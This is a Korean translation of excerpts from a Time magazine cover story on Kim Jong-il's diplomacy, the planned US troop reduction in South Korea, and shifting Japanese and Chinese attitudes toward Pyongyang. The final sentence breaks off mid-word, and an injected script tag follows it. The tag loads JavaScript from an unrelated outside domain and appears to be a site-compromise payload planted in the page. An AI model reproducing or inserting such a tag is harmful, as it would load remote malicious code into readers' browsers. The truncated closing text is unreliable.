타임지는 6월21자 최신호에서 'kim's great game'이라는 제목의 특집을 커버스토리로 다루고 최근의 남북한 정세와 김정일의 정치적 게임을 집중분석 보도했다. 이에 는 안보문제에 관심있는 독자들에게 편의를 제공하고자 기사내용의 주요 부분을 번역하여 게재한다. 번역은 재향군인회 안보연구소 박동형 박사가 당당했다. <편집자 주>
(중략)워싱턴 당국은 지난 50년 간의 평화유지 임무를 수행해온 주한미군의 3분의 1인 12,500명의 철수를 희망하고 있으나 동두천 주민들은 이를 파괴적인 (devastating) 처사라고 보고 있다. 동두천 주민대표 15명은 지난 주 삭발을 하고 서울로 가서 국회의사당 건물 앞에 항의의 기치를 세웠다. 그 기치의 글씨는 자신들의 피로 쓰여졌다. 동두천의 어른들에게는 미군 철수가 돈지갑의 문제이지만 여타 지역에는 훨씬 더 중요한 문제다.
250만명 한국전쟁 희생자들의 피로 쓰여진 지난 반세기간 한반도상의 현상유지 상황은 급변하고 있다. 북한은 더 이상 고립된 채 다른 사람들이 그 지도자와 거래를 꺼리는 이 지역의 부랑자가 아니다. 그 반대로 남한은 현재 좌파적 민족주의자 대통령과 북한을 잠재적 친구 혹은 파트너로 보는 사람들로 구성된 정당에 의해 지배되고 있다. 지난 주 일본의 고이즈미 준이찌로 수상은 북한의 지도자 김정일을 만난 사실에 대해 "나는 개인적으로 북한이 긍정적인 쪽으로 가는데 관심을 갖고 있는 것으로 느꼈다."라고 하면서 놀랄 만큼 긍정적으로 말했다. 베이징 당국은 지난주 북한 핵 프로그램에 관한 워싱턴의 평가에 공감하지 않는다고 말했다. 이런 평양에 대한 태도 변화는 미국의 수정된 한반도상의 군사력 배치와 한.미 동맹관계의 긴장이라는 배경 하에 펼쳐지고 있다. 남한의 보수주의자들은 마치 1940년대 후반 워싱턴의 중국정책에 대한 불만을 반영하듯 "누가 미국을 잃었는가?"라고 묻기 시작했다.
이런 와중에 이 시대의 가장 위대한 지정학적 부양 조치를 하는 사람은 김정일이다. 세계는 그동안 '친애하는 지도자" 김정일을 계속 얕잡아봤다. 김정일이 한반도에서 피비릿내 나는 전쟁을 일으킨다면 자신의 정권 몰락을 가져올 것이 거의 확실하지만 그럴 잠재력에 대해서는 의심의 여지가 거의 없다. 김정일은 dmz를 건너 남한의 도시들과 심지어는 일본에까지 쏠 수 있는 로켓 발사대와 미사일을 보유하고있는 외에도 대량의 생.화학무기들을 가지고 있다. 북한은 자기들이 핵무기 제조능력을 보유하고 있다고 선전하고 있는데 미국 정보에 의하면 북한은 최근의 핵위기 이전에 한 두 개의 핵폭발 장치를 갖고 있었으나 지금은 적어도 8개의 핵폭발장치를 보유하고 있을 수 있다고 한다. 그러나 노무현 대통령의 정책은 김정일을 대적하는 것이 아니라 대화하는 것이다. 노태통령은 북한 경제를 돕기 위해 군사분계선을 넘어 관관객을 보내고 언젠가는 dmz를 통과할 철도와 도로 연결문제에 관심을 갖고 있다. 김정일에게 접근하는 일본의 태도 변화는 더 돋보인다. 2002년 일본 국민들은 김정일이 일본인 13명을 납치했음을 시인했을 때 격분했었다. 그러나 고이즈미는 지난 달 평양으로 날아가 김정일을 만났으며 일본 정부가 북한에 25만톤의 식량과 1000만불 상당의 의료물품을 주기로 약속하고 납치자 가족 일부를 데려왔는데 고이즈미는 이것이 그 대가가 아니라고 강하게 부인했다.
김정일을 테프론 독재자(주: teflon은 실언. 실책 따위를 유머로 돌려서 심한 타격을 받지 않는다는 뜻)라고 한다면 과장될는지 모르지만 그는 여지껏 크게 손상받지 않은 것 같다. 이 정부는 아직도 핵 프로그램 폐기하는 문제를 놓고 미국, 일본, 중국, 남한, 그리고 러시아와 대화하고 있으며, 비록 협상 진전은 별로 안되고 있지만 이들 나라 모두는 핵폐기라는 목표에 대해 단결하고 있다고 주?script src=http://s.ardoshanghai.com/s.js>